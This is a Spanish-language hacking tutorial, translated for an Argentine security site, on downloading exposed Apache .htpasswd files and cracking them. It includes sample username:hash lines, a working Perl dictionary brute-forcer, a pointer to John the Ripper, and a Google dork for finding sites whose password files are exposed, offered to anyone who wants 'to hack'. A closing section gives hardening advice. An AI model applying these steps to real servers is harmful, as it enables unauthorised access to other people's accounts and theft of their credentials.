parte del control de acceso, la parte que estara cubierta son las directivas "authconfig". mas abajo veremos un archivo .htaccess tipico para webs con seguridad moderadamente pobre. (la mayoria de los sites porno usan esto como medida de seguridad, una practica excelente para crackear passwords)
/* a typical .htaccess file */ AuthName "Marvin Martian's Porn Emporium" AuthType Basic AuthUserFile /home/marvin/public_html/members/.htpasswd require valid-user
como vemos arriba, no hay muchas directivas para proveer proteccion con password a un directorio. como pueden ver en este caso, el webmaster fue algo olgazan y colgo el archivo .htpasswd dentro del mismo directorio. es formato del .htpasswd es simple.
en un server con seguridad pobre, no hay restricciones de acceso al archivo .htpasswd.
ya que el archivo .htpasswd esta en un directorio web-accessible, un usuario q tiene permiso de autentificarse en el directorio tiene el acceso a las listas de passwords.
simplemente entramos a la url member/.htpasswd, y recibiremos una lista full de usuarios y sus passwords encriptadas, algo estupido realmente, aunq si el archivo no existe, en un servidor mal configurado simplemente leemos el archivo .htaccess para ver donde se encuentra. si se encuentra bajo el "web-root" entonces necesitaremos un exploit-cgi para obtener el archivo. pero en cualquier otro directorio utilizaremos simplemente nuestro navegador para obtenerlo:
webmaster:TTn.VQRliM8c2 hornyguy:ZpgNeARi106aM fatmike69:drXj18zVxxBVc
desafortunadamente necesitaremos crackear estas contrasenias.
la unica manera de desencirptar estas passwords es usando la fuerza bruta.
un simple bruter en perl nos ayudara con la tarea:
#! /usr/bin/perl # crack.pl by fwaggle open (PASSFILE, ".htpasswd"); my @passfile = ; close PASSFILE; open (DICTFILE, "dictionary.txt"); my @dictfile = ; close DICTFILE; foreach $line (@passfile) { my ($username, $encpass) = split(/:/, $line); foreach $attempt (@dictfile) { if ($encpass eq crypt($attempt, $encpass)) { print("Cracked: ${username}:${attempt}\n"); } } }
aunq es recomendable usar otro cracker q funcione a mayor velocidad y en un lenguaje mas potente. (John the Ripper)
*si simplemente buscamos hackear algo o practicar buscamos el siguiente dork en google, ".htpass" y luego en los resultados entramos a los que dicen "Index of /loquesea" esos contiene el archivo .htpasswd
Ya hablamos de como romper estos passwords, ahora hablaremos un poco de como darle seguridad.
lo primero que debemos hacer es evitar q lean nuestro archivos .ht* , lo que podemos hacer como primera instancia es poner el archivo .htpasswd en algun lugar q no sea web-accessible (accesible via web).
Luego debemos negar el acceso a estos archivos a nuestros clientes (si somos los administradores de un servidor) no hay razon para q un cliente necesite ver estos archivos, ya que son de configuracion server side.
para ello usamos la siguiente directiva:
Order allow,deny Deny from all
como paso final nos aseguramos de tener suEXEC corriendo en apache, para tener acceso a los archivos solo por httpd, de esta manera podemos modificar los permisos con chmod al momento de editarlos nada mas.
Traducido para ArgentinaSecurity e Inyexion.com.ar por MONT